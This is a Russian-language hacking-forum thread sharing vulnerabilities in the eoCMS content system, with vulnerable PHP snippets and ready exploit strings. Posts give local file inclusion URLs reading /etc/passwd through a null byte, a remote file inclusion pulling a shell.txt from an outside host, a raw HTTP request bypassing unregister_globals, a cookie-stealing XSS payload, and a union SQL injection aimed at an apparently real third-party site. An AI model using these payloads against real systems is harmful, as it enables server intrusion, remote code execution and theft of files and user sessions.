Уязвимости eoCMS

Discussion in 'Веб-уязвимости' started by HAXTA4OK, 13 Oct 2009.

  1. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    Офф сайт: _http://eocms.com/

    LFI


    В файле Index.php
    PHP:
    if(defined('COOKIE_LANG'))
        
    $lang_path COOKIE_LANG;
    if(isset(
    $settings['site_lang']))
        
    $lang_path $settings['site_lang'];
    if(isset(
    $user['lang']))
        
    $lang_path $user['lang'];
    if(isset(
    $_GET['lang']))
        
    $lang_path $_GET['lang'];
    if(!isset(
    $lang_path))
        
    $lang_path 'en';
    # include actual language files
    include_once(IN_PATH.'language/' $lang_path '/' $lang_file);
    include_once(
    IN_PATH.'language/' $lang_path '/functions.php');
    include_once(
    IN_PATH.'language/' $lang_path '/panel.php');
    _http://eocms.com/index.php?lang='
    ЗЫ да со скулями поторопился
     
    _________________________
    #1 HAXTA4OK, 13 Oct 2009
    Last edited: 14 Oct 2009
    9 people like this.
  2. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    слушай, а ты пробовал использовать те дыры что нашел? и в какой версии eoCMS ты их нашел? так как сообщение было написано вчера, то я думаю, что это была версия v0.9.01. а если я прав то как бы вот кусок кода из framewok.php (он инклудится в самом начале index.php)
    PHP:
      /************************
       ** Clean superglobals **
       ************************/
    function Sanitize($data_to_sanitize) {
        if (
    get_magic_quotes_gpc())
            
    $data_to_sanitize stripslashes($data_to_sanitize); 
        
    $data_to_sanitize htmlspecialchars($data_to_sanitizeENT_QUOTES);
        
    $data_to_sanitize addslashes($data_to_sanitize);
        return 
    $data_to_sanitize;
    }
    function 
    Sanitize_Array($value) {
        
    $value is_array($value) ? array_map('Sanitize_Array'$value) : Sanitize($value);
        return 
    $value;
    }
    $_POST array_map('Sanitize_Array'$_POST);
    $_GET array_map('Sanitize_Array'$_GET);
    $_COOKIE array_map('Sanitize_Array'$_COOKIE);
    $_REQUEST array_map('Sanitize_Array'$_REQUEST);
    $_SERVER array_map('Sanitize_Array'$_SERVER);
    $_FILES array_map('Sanitize_Array'$_FILES);
     
    #2 gisTy, 14 Oct 2009
    Last edited: 14 Oct 2009
    3 people like this.
  3. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    ну извени если там null- byte не канает и для тебя ошибка

    Warning: include_once() [function.include]: Failed opening '/home/garbages/public_html/eocms.com/language/jhgj\0//Pages.php' for inclusion (include_path='.:/usr/lib/php:/usr/local/lib/php') in /home/garbages/public_html/eocms.com/index.php on line 118

    это тока раскрытие путей тогда я не знаю.....

    PS то что выкладывал скули , они есть но вот реализовать их либо тяжело .либо ни как, пока не пытался :)
     
    _________________________
    #3 HAXTA4OK, 14 Oct 2009
    Last edited: 14 Oct 2009
    2 people like this.
  4. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    Remote File Inclusion
    Требования: register_globals = on
    Файл: js/bbcodepress/bbcode-form.php

    PHP:
    include_once($BBCODE_path 'bbcodepress/bbcodepress-lite.php');
    www.example.com/js/bbcodepress/bbcode-form.php?BBCODE_path=http://www.site.com/shell.txt?
     
    4 people like this.
  5. (Dm)

    (Dm) Elder - Старейшина

    Joined:
    8 Apr 2008
    Messages:
    261
    Likes Received:
    440
    Reputations:
    275
    Вот ещё чуть:
    ---------------------------------------
    Бага: обход unregister_globals и раскрытие пути
    Условия: register_globals = ON

    >> framework.php

    PHP:
    function unregister_globals(){

    #checks if register globals is on

        
    if (!ini_get('register_globals')){

            return 
    false;

        }

        foreach (
    func_get_args() as $name){

            foreach (
    $GLOBALS[$name] as $key=>$value){
                if (isset(
    $GLOBALS[$key])) {

                    unset(
    $GLOBALS[$key]);

                }        
            }

        }

    }
    unregister_globals('_POST''_GET''_COOKIE''_REQUEST''_SERVER''_ENV''_FILES''_SESSION');
    В результате все перменные посланные данными методами удаляются из GLOBALS;
    Но если сделать запрос:

    Code:
    POST /index.php?antichat=test HTTP/1.1
    Host: eocms
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 31
    
    _GET=this del&_REQUEST=this del
    Функция unregister_globals сначало удалит, масив _GET, потом _REQUEST, а переменная antichat будет жить)


    -------------------------------
    Бага: LFI
    Условия: magic_quites = Off

    >> framework.php

    PHP:
    if(isset($_GET['theme']) && file_exists('themes/'.$_GET['theme'].'/theme-info.php'))

        
    $settings['site_theme'] = $_GET['theme'];

    ~~~~~~~~~~~~~~~~~~~~

    function 
    theme() {

       global 
    $user$settings;

       
    $arg func_get_args();

       
    $num func_num_args();

       if(
    file_exists('themes/' $settings['site_theme'] . '/functions/'.$arg[0].'.php'))

           include_once 
    IN_PATH.'themes/' $settings['site_theme'] . '/functions/'.$arg[0].'.php';
    Этот код выполняется до того как переменные обрабатываются через addslashes

    exploit:
    http://eocms/index.php?theme=../../../../../../../etc/passwd%00

    ------------------------------

    Бага: XSS
    Условия: register_globals = ON

    exploit:
    Code:
    POST /index.php?error_die[0]=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1
    Host: eocms
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 31
    
    _GET=this del&_REQUEST=this del
     
    #5 (Dm), 16 Oct 2009
    Last edited: 16 Oct 2009
    10 people like this.
  6. Фараон

    Фараон коКотэ Of Antichat

    Joined:
    7 Nov 2010
    Messages:
    153
    Likes Received:
    105
    Reputations:
    83
    eoCMS
    http://eocms.com/

    SQL Injection:
    /VewBoard.php
    PHP:
    ...
    $bcrumb call('sql_query'"SELECT id, board_name, post_group, visible FROM forum_boards WHERE id='" $_GET['id'] . "'");
    ...
    Пример одного сайта:
    Code:
    http://garbagespot.com/index.php?act=viewboard&id=1+union+select+1--+
    
    Путь:
    Code:
    http://localhost/index.php?act[]=
    http://localhost/index.php?act=viewboard&id='
    Многие места так же уязвимы к SQL inj.
     
    #6 Фараон, 16 Nov 2010
    Last edited: 16 Nov 2010
    2 people like this.